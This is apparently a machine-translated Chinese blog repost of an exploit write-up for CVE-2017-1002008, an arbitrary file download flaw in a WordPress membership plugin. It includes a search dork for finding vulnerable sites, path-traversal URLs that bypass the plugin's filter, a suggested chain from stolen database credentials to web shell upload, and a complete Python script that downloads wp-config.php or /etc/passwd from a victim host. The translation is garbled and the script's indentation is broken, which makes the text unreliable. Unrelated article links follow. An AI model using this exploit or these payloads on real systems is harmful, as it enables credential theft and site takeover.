今天我们将讨论在WordPress插件WordPress插件与重点会员简化v1.58作为这个剧本的创作时间不打补丁的扶贫开发实践。脆弱脚本如下:

CVE-ID:cve-2017-1002008

当然,也可以利用Google来找

inurl:/wp-content/plugins/membership-simplified-for-oap-members-only

  

问题

下面是上面脚本的一些问题:

①该脚本不检查有效登录WordPress的用户,也不保护自己免受直接访问-这使得它任意(不受限制)的访问

②4行的脚本允许任何人通过download_file参数调用文件下载。任何人都可以直接调用它的脚本。

③第5行是一个坏的企图保护自己从点斜线攻击。

④脚本的其余部分加载强制下载的内容配置

发展有效载荷

所以假设目标example.com运行插件;我们会首先考虑利用它作为:

http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=../../../wp-config.php

 然而,这将导致以下网址。 

http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=wp-config.php

正如你所看到的,这将给我们一个404,因为WP配置文件不在插件文件夹。这是因为第5行。当我们说这是在保护一个坏的企图让我们把字符串替换和修改我们的攻击点。

http://example.com/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file=..././..././..././wp-config.php

  这不是标准,但结果是字符串替换函数会在执行前为我们删除错误的比特。它传递一次之前传递给它下载字符串(感谢上帝为此)。用字符串替换函数删除红色部分时。

之后, 我们基于WordPress标准结构移动3个目录。我们不能强调在WordPress配置文件中包含的信息种类,攻击者可以进一步建模的威胁如下:

①使用配置文件中的数据库连接信息连接到WordPress数据库实例

②更改数据库中的用户密码

③登录到网站并上传一个web外壳,实现网站上的远程代码执行。

一个简单的开发已为此工程如下:

以上我们就了解如何发展这种简单的利用从咨询信息在Web攻击SlideShare–自动化从公告创造现实世界的攻击的文章了。

最后附上我们exp利用的脚本

import requests
import string
import random
from urlparse import urlparse
 
print "---------------------------------------------------------------------"
print "Wordpress Plugin Membership Simplified v1.58 - Arbitrary File Download\nDiscovery: Larry W. Cashdollar\nExploit Author: Munir Njiru\nWebsite: https://www.alien-within.com\nCVE-2017-1002008\nCWE: 23\n\nReference URLs:\nhttp://www.vapidlabs.com/advisory.php?v=187"
print "---------------------------------------------------------------------"
victim = raw_input("Please Enter victim host e.g. http://example.com: ")
file_choice=raw_input ("\n Please choose a number representing the file to attack: \n1. Wordpress Config \n2. Linux Passwd File\n")
if file_choice == "1":
    payload="..././..././..././wp-config.php"
elif file_choice == "2":
    payload="..././..././..././..././..././..././..././..././etc/passwd"
else:
    print "Invalid Download choice, Please choose 1 or 2; Alternatively you can re-code me toI will now exit"
    quit()  
slug = "/wp-content/plugins/membership-simplified-for-oap-members-only/download.php?download_file="+payload
target=victim+slug
def randomizeFile(size=6, chars=string.ascii_uppercase + string.digits):
    return ''.join(random.choice(chars) for _ in range(size))
     
def checkPlugin():
    pluginExists = requests.get(victim+"/wp-content/plugins/membership-simplified-for-oap-members-only/download.php")
    pluginExistence = pluginExists.status_code
    if pluginExistence == 200:
        print "\nI can reach the target & it seems vulnerable, I will attempt the exploit\nRunning exploit..."
        exploit()
    else:
        print "Target has a funny code & might not be vulnerable, I will now exit\n"
        quit()
      
def exploit():
     
    getThatFile = requests.get(target)
    fileState = getThatFile.status_code
    breakApart=urlparse(victim)
    extract_hostname=breakApart.netloc  
    randomDifferentiator=randomizeFile()
    cleanName=str(randomDifferentiator)
    if fileState == 200:
    respFromThatFile = getThatFile.text
    if file_choice == "1":
        resultFile=extract_hostname+"_config_"+cleanName+".txt"
        print resultFile
        pwned=open(resultFile, 'w')
        pwned.write(respFromThatFile)
        pwned.close
        print "Wordpress Config Written to "+resultFile
    else:
        resultFile=extract_hostname+"_passwd"+cleanName+".txt"
        pwned=open(resultFile, 'w')
        pwned.write(respFromThatFile)
        pwned.close
        print "Passwd File Written to "+resultFile
    else: 
    print "I am not saying it was me but it was me! Something went wrong when I tried to get the file. The server responded with: \n" +fileState
   
if __name__ == "__main__":
    checkPlugin()

参考来源https://www.alien-within.com/wordpress-plugin-membership-simplified-v1-58-arbitrary-file-download

翻译:admin-神风

WordPress插件会员简化1.58 -任意文件下载漏洞(附poc)的更多相关文章

  1. PHP代码审计笔记--任意文件下载漏洞

    在文件下载操作中,文件名及路径由客户端传入的参数控制,并且未进行有效的过滤,导致用户可恶意下载任意文件.  0x01 客户端下载 常见于系统中存在文件(附件/文档等资源)下载的地方. 漏洞示例代码: ...

  2. 【代码审计】XYHCMS V3.5任意文件下载漏洞分析

      0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...

  3. 【代码审计】ThinkSNS_V4 任意文件下载漏洞分析

      0x00 环境准备 ThinkSNS官网:http://www.thinksns.com 网站源码版本:ThinkSNS V4  更新时间:2017-09-13 程序源码下载:http://www ...

  4. 【代码审计】EasySNS_V1.6 前台任意文件下载漏洞分析

      0x00 环境准备 EasySNS官网:http://www.imzaker.com/ 网站源码版本:EasySNS极简社区V1.60 程序源码下载:http://es.imzaker.com/i ...

  5. 【代码审计】CLTPHP_v5.5.3后台任意文件下载漏洞分析

      0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...

  6. 代码审计-(Ear Music).任意文件下载漏洞

    0x01 代码分析 后台地址:192.168.5.176/admin.php admin admin 安装后的界面 在后台发布了一首新歌后,前台点进去到一个“下载LRC歌词”功能点的时候发现是使用re ...

  7. 任意文件下载漏洞的接口URL构造分析与讨论

    文件下载接口的URL构造分析与讨论 某学院的文件下载接口 http://www.****.edu.cn/item/filedown.asp?id=76749&Ext=rar&fname ...

  8. dzzoffice 任意文件下载漏洞分析

    dzzoffice 任意文件下载 \updload\dzz\system\save.php第72行开始:    elseif($_GET['do']=='move'){    $obz=trim($_ ...

  9. 代码审计-phpcms9.6.2任意文件下载漏洞

    漏洞文件: phpcms\modules\content\down.php 1.在download函数中对文件的校验部分 首先 if(preg_match('/(php|phtml|php3|php4 ...

随机推荐

  1. 漫谈JWT

    一.JWT简介[对于了解JWT的童鞋,可以直接跳到最后] 咱们就不弄那些乱七八糟的概念,就简单点说一下JWT是什么.有什么和能干什么 1. JWT概念和作用 JWT全称为json web token, ...

  2. 用Vue来实现图片上传多种方式

    没有业务场景的功能都是耍流氓,那么我们先来模拟一个需要实现的业务场景.假设我们要做一个后台系统添加商品的页面,有一些商品名称.信息等字段,还有需要上传商品轮播图的需求. 我们就以Vue.Element ...

  3. XML-RPC笔记

    1.什么是XML-RPC RPC(Remote Procedure Call)就是相当于提供了一种"远程接口"来供外部系统调用,常用于不同平台.不同架构的系统之间互相调用. XML ...

  4. 24、CSS定位

    CSS定位方法 driver.find_element_by_css_selector() 1.CSS定位常用策略(方式) 1.id选择器 说明:根据元素id属性来选择 格式:#id 如:#userA ...

  5. C++ Boost库 uBLAS 笔记

    构造 Vector #include <boost/numeric/ublas/vector.hpp> #include <boost/numeric/ublas/io.hpp> ...

  6. GCD HDU - 1695 莫比乌斯反演入门

    题目链接:https://cn.vjudge.net/problem/HDU-1695#author=541607120101 感觉讲的很好的一个博客:https://www.cnblogs.com/ ...

  7. 001使用smokeping监控idc机房网络质量情况

    最近工作比较忙,也没有时间写博客,看到好友芮峰云最近一直在写博客,所以也手痒了,就先把之前的一些积累下来的文章分享给大家. 本文是介绍如何的使用smokeping来监控idc机房的网络质量情况,从监控 ...

  8. Caused by: android.content.res.Resources$NotFoundException: Resource ID #0x7f070058 android-studio 3.0 from canary 5 to canary 6

    我升级android-studio到了3.0 canary 6打包编译安装出现如下错误: 07-11 13:00:39.523 8913-8913/dcpl.com.myapplication E/A ...

  9. aws rds

    1.还原快照,注意设置安全组的问题:不然会导致还原后连接不上:

  10. /proc/mounts介绍

    现在的 Linux 系统里一般都有这么三个文件:/etc/fstab,/etc/mtab,和 /proc/mounts,比较容易让人迷惑.简单解释一下. /etc/fstab 是只读不写的,它提供的是 ...